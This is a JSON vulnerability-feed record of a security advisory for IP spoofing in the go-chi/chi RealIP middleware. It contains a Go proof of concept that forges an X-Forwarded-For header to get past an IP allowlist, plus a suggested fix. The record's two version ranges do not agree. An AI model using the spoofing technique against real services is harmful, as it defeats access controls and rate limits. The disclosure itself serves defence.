{"id":"GHSA-3fxj-6jh8-hvhx","kind":"vulnerability","aliases":["GHSA-3fxj-6jh8-hvhx"],"related":[],"title":"chi Has an IP Spoofing Vulnerability in `middleware.RealIP`","description":"## Summary\nThe `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.\n\n## Details\nIn `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:\n\n```go\nfunc realIP(r *http.Request) string {\n    // ...\n    } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n        ip, _, _ = strings.Cut(xff, \",\")\n    }\n    // ...\n}\n```\n\nStandard practice for `X-Forwarded-For` is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>`, and `go-chi/chi` will treat `<spoofed_ip>` as the source of the request.\n\n## Proof of Concept (PoC)\nThe following code demonstrates how an attacker can bypass an IP-based restriction.\n\n```go\npackage main\n\nimport (\n        \"fmt\"\n        \"net/http\"\n        \"net/http/httptest\"\n\n        \"github.com/go-chi/chi/v5\"\n        \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n        r := chi.NewRouter()\n\n        // Enable the vulnerable RealIP middleware\n        r.Use(middleware.RealIP)\n\n        // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)\n        r.Get(\"/admin/secret\", func(w http.ResponseWriter, r *http.Request) {\n                clientIP := r.RemoteAddr\n                fmt.Printf(\"[Server] Request received from IP: %s\\n\", clientIP)\n\n                // Simulate IP-based access control\n                if clientIP == \"1.2.3.4\" {\n                        w.WriteHeader(http.StatusOK)\n                        w.Write([]byte(\"CONFIDENTIAL: The secret code is 42\\n\"))\n                } else {\n                        w.WriteHeader(http.StatusForbidden)\n                        w.Write([]byte(\"Access Denied: You are not an administrator.\\n\"))\n                }\n        })\n\n        // --- Attack Simulation ---\n        fmt.Println(\"--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---\")\n\n        // 1. Normal Request (Should be denied)\n        req1, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n        rr1 := httptest.NewRecorder()\n        r.ServeHTTP(rr1, req1)\n        fmt.Printf(\"[Client] Normal Request -> Status: %d, Body: %s\", rr1.Code, rr1.Body.String())\n\n        // 2. Spoofed Request (Using X-Forwarded-For)\n        // Attacker claims to be '1.2.3.4'\n        req2, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n        req2.Header.Set(\"X-Forwarded-For\", \"1.2.3.4, 5.6.7.8\") // 5.6.7.8 is a fake proxy IP\n        rr2 := httptest.NewRecorder()\n        r.ServeHTTP(rr2, req2)\n        fmt.Printf(\"[Client] Spoofed Request -> Status: %d, Body: %s\", rr2.Code, rr2.Body.String())\n}\n```\n\n## Impact\nAn attacker can masquerade as any IP address. This can lead to:\n- **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP.\n- **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key.\n- **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.\n\n## CWE\n- **CWE-290:** Authentication Bypass by Spoofing\n- **CWE-345:** Insufficient Verification of Data Authenticity\n\n## CVSS Score\n- **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)\n\n## Affected Versions\n- `github.com/go-chi/chi/v5` <= `v5.2.1` (and all previous versions)\n\n## Recommendation\n1.  **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.\n2.  Implement a trust-based IP extraction mechanism that verifies the chain of proxies.\n3.  Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.\n\n## Suggested Fix\nA secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:\n\n```go\nfunc GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {\n        xff := r.Header.Get(\"X-Forwarded-For\")\n        if xff == \"\" {\n                return r.RemoteAddr\n        }\n\n        ips := strings.Split(xff, \",\")\n        // Traverse from right to left\n        for i := len(ips) - 1; i >= 0; i-- {\n                ipStr := strings.TrimSpace(ips[i])\n                ip := net.ParseIP(ipStr)\n                if ip == nil {\n                        continue\n                }\n\n                if !isTrustedProxy(ip, trustedProxies) {\n                        return ipStr\n                }\n        }\n\n        return r.RemoteAddr\n}\n\nfunc isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {\n        for _, network := range trustedProxies {\n                if network.Contains(ip) {\n                        return true\n                }\n        }\n        return false\n}\n```\n\nBy providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{\"10.0.0.0/8\"}})` , the middleware can safely identify the true client IP even in complex proxy environments.","summary":"The chi router's RealIP middleware takes the first value of the X-Forwarded-For header as the client address without checking trusted proxies. A remote client can set that header to any IP, bypassing IP-based access controls and rate limits that rely on the detected address.","severity":"medium","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/go-chi/chi/v5/middleware","fixed":["5.3.0"],"affected":">= 5.2.1, < 5.3.0","ecosystem":"go"},{"name":"github.com/go-chi/chi/v5","fixed":["5.3.0"],"affected":">= 5.2.1, < 5.3.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["chi","cwe-290","cwe-345","go","package","self-hosted","web-services"],"not_affected_if":["default-config","does-not-use-realip"],"how_to_check":"- Check the chi version in `go.mod` for `github.com/go-chi/chi/v5`; affected versions are `>= 5.2.1` and `< 5.3.0`.\n- Search the code for `middleware.RealIP` and confirm whether it is registered on routes that use IP-based allowlists or rate limits.","fix":"- `github.com/go-chi/chi/v5` and `github.com/go-chi/chi/v5/middleware`: upgrade to `5.3.0`.\n- The advisory also recommends not relying on RealIP unless headers come from a trusted proxy that sanitizes them.","status":"open","published_at":"2026-06-25T18:21:37+00:00","first_seen_at":"2026-11-04T03:51:43+00:00","triaged_at":"2026-11-04T03:53:35+00:00","updated_at":"2026-11-04T03:53:35+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-04T03:53:35Z","model":"claude-haiku-5-5","output":{"fix":"- `github.com/go-chi/chi/v5` and `github.com/go-chi/chi/v5/middleware`: upgrade to `5.3.0`.\n- The advisory also recommends not relying on RealIP unless headers come from a trusted proxy that sanitizes them.","reach":"internet","title":"chi: RealIP middleware trusts spoofed leftmost X-Forwarded-For value","impact":"medium","summary":"The chi router's RealIP middleware takes the first value of the X-Forwarded-For header as the client address without checking trusted proxies. A remote client can set that header to any IP, bypassing IP-based access controls and rate limits that rely on the detected address.","audience":"developers","category":"package","nicknames":[],"who_cares":["go","chi","web-services","self-hosted"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"Attacker bypasses IP allowlists and rate limits by forging client address","analyst_note":"","how_to_check":"- Check the chi version in `go.mod` for `github.com/go-chi/chi/v5`; affected versions are `>= 5.2.1` and `< 5.3.0`.\n- Search the code for `middleware.RealIP` and confirm whether it is registered on routes that use IP-based allowlists or rate limits.","plain_action":"","needs_analyst":false,"not_affected_if":["does-not-use-realip","default-config"],"who_is_affected":"Go services that import chi v5.2.1 through v5.2.x and use middleware.RealIP to decide client identity for access control, rate limiting or logging. Exposure needs the service reachable directly by clients or behind a proxy that passes client-supplied X-Forwarded-For through. Services that do not use RealIP, or that only run behind a proxy which overwrites the header, are less exposed.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.000975,"input_tokens":6414,"output_tokens":667,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-290':27B,479C '-345':29B,485C '/admin/secret':297C,365C,398C '/av':495C '/chi':96C,233C '/go-chi/chi/v5':24A,269C,513C '/go-chi/chi/v5/middleware':21A,272C '1':356C,520C '1.2.3.4':295C,322C,394C,405C '2':382C,545C '3':560C '3fxj':11A,16A '4.0':494C '42':332C '5.6.7.8':406C,407C '6.9':507C '6jh8':12A,17A 'access':77B,128C,318C,339C,444C 'acl':131C 'address':58B,87B,142C,436C,470C 'administr':293C,345C,445C 'affect':509C 'allow':119C 'also':209C 'api':449C 'append':193C 'attack':122C,252C,347C,353C,390C,430C 'authent':480C,490C 'authentication/authorization':443C 'base':76B,127C,258C,317C,550C 'blind':104C 'bodi':378C,424C 'bypass':73B,124C,254C,441C,481C 'byte':326C,338C 'cannot':526C 'caus':467C 'chain':557C 'check':60B 'chi':1A,25B,39B,95C,232C 'chi.newrouter':276C 'chi/middleware.realip':355C 'circumbet':456C 'claim':391C 'client':57B,65B,195C,207C,219C,373C,419C 'clientip':303C,313C,321C 'code':248C,330C 'comma':164C 'comma-separ':163C 'concept':244C 'confidenti':327C 'control':78B,129C,319C 'cvss':491C,493C 'cwe':26B,28B,477C,478C,484C 'd':377C,423C 'data':489C 'demonstr':249C 'deni':340C,361C 'detail':146C 'detect':86B 'element':109C 'els':173C,334C 'enabl':277C 'end':200C 'endpoint':285C 'evas':455C 'extract':160C,552C 'fake':410C 'first':46B,107C,162C 'fmt':264C 'fmt.printf':305C,372C,418C 'fmt.println':349C 'follow':247C 'forgeri':466C 'forward':52B,114C,156C,187C,227C,388C,403C,565C 'func':168C,273C,298C 'function':151C 'get':364C,397C 'ghsa':10A,15A 'ghsa-3fxj-6jh8-hvhx':9A,14A 'github.com':20A,23A,268C,271C,512C 'github.com/go-chi/chi/v5':22A,267C,511C 'github.com/go-chi/chi/v5/middleware':19A,270C 'go':30B,94C,167C,231C,260C 'go-chi':93C,230C 'guarante':527C 'header':54B,69B,117C,145C,158C,212C,223C,532C,567C 'host':34B 'howev':204C 'http':116C 'http.newrequest':363C,396C 'http.request':171C,302C 'http.responsewriter':300C 'http.statusforbidden':336C 'http.statusok':324C 'httptest.newrecorder':368C,414C 'hvhx':13A,18A 'impact':428C 'implement':546C 'import':263C 'incom':530C 'incorrect':468C 'insuffici':486C 'ip':4A,72B,75B,100C,126C,141C,179C,197C,257C,294C,310C,316C,351C,412C,435C,452C,469C,551C 'ip-bas':74B,125C,256C,315C 'key':464C 'l/at':497C 'l/va':502C 'l/vi':501C 'lead':439C 'left':574C 'leftmost':108C,214C 'like':224C 'limit':81B,135C,454C,458C 'list':130C,203C 'log':465C,476C 'main':262C,274C 'masquerad':432C 'mechan':136C,553C 'middlewar':43B,91C,281C 'middleware.realip':8A,283C,523C 'middleware/realip.go':148C 'moder':508C 'n':312C,333C,346C,506C 'n/ac':496C 'n/pr':498C 'n/sa':505C 'n/sc':503C 'n/si':504C 'n/ui':499C 'n/vc':500C 'net/http':265C 'net/http/httptest':266C 'nil':366C,399C 'normal':357C,374C 'packag':31B,261C 'panel':446C 'pars':152C 'poc':245C,350C 'practic':183C 'previous':517C 'privat':448C 'proof':242C 'provid':138C,210C 'proxi':62B,192C,411C,544C,559C 'r':170C,275C,301C 'r.get':296C 'r.header.get':176C 'r.remoteaddr':304C 'r.servehttp':369C,415C 'r.use':282C 'rate':80B,134C,453C,457C 'rate-limit':133C 'realip':42B,90C,150C,169C,280C 'receiv':308C 'recommend':519C 'record':473C 'reli':83B 'remot':64B,121C 'remoteaddr':461C 'req1':362C,371C 'req2':395C,417C 'req2.header.set':400C 'request':241C,307C,358C,375C,384C,421C,531C 'restrict':259C,289C,450C 'right':572C 'router':40B 'rr1':367C,370C 'rr1.body.string':381C 'rr1.code':380C 'rr2':413C,416C 'rr2.body.string':427C 'rr2.code':426C 'sanit':541C 'score':492C 'secret':329C 'secur':475C 'self':33B 'self-host':32B 'send':221C 'separ':165C 'server':306C 'servic':37B 'set':67B 'simul':314C,348C 'sinc':205C 'sourc':238C,537C 'specif':292C 'spoof':5A,101C,140C,352C,383C,420C,483C 'standard':182C 'status':376C,422C 'stop':521C,576C 'string':172C 'strings.cut':180C 'summari':88C 'take':44B 'travers':569C 'treat':235C 'trust':61B,105C,536C,549C 'trust-bas':548C 'untrust':217C 'use':385C,460C,522C,561C 'v5.2.1':514C 'valu':47B,166C,215C 'verif':487C 'verifi':555C 'version':510C,518C 'vulner':6A,98C,279C 'w':299C 'w.write':325C,337C 'w.writeheader':323C,335C 'web':36B 'web-servic':35B 'without':59B 'x':51B,113C,155C,186C,226C,387C,402C,564C 'x-forwarded-for':50B,112C,154C,185C,225C,386C,401C,563C 'xff':175C,178C,181C 'xforwardedfor':177C","nicknames":[],"mitigations":[],"who_affected":"Go services that import chi v5.2.1 through v5.2.x and use middleware.RealIP to decide client identity for access control, rate limiting or logging. Exposure needs the service reachable directly by clients or behind a proxy that passes client-supplied X-Forwarded-For through. Services that do not use RealIP, or that only run behind a proxy which overwrites the header, are less exposed.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["githubcomgochichiv5","githubcomgochichiv5middleware"],"ptokens":["chi","com","github","go","middleware","v5"],"labels":["chi","cwe290","cwe345","go","medium","package","selfhosted","webservices"],"campaign_type":null,"first_public_at":"2026-06-25T18:21:37+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-3fxj-6jh8-hvhx","url":"https://github.com/advisories/GHSA-3fxj-6jh8-hvhx","severity":"medium","published_at":"2026-06-25T18:21:37+00:00","modified_at":"2026-11-04T03:49:26+00:00","first_seen_at":"2026-11-04T03:51:43+00:00","fetched_at":"2026-11-04T04:12:14+00:00","note":null}],"documents":[{"id":63849,"url":"https://api.github.com/repos/go-chi/chi/security-advisories/GHSA-3fxj-6jh8-hvhx","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":63850,"url":"https://github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":63851,"url":"https://github.com/go-chi/chi/pull/967","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63852,"url":"https://github.com/go-chi/chi/commit/3b171578ca44dfd75ca3c5cbddc7b44c600a7b49","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}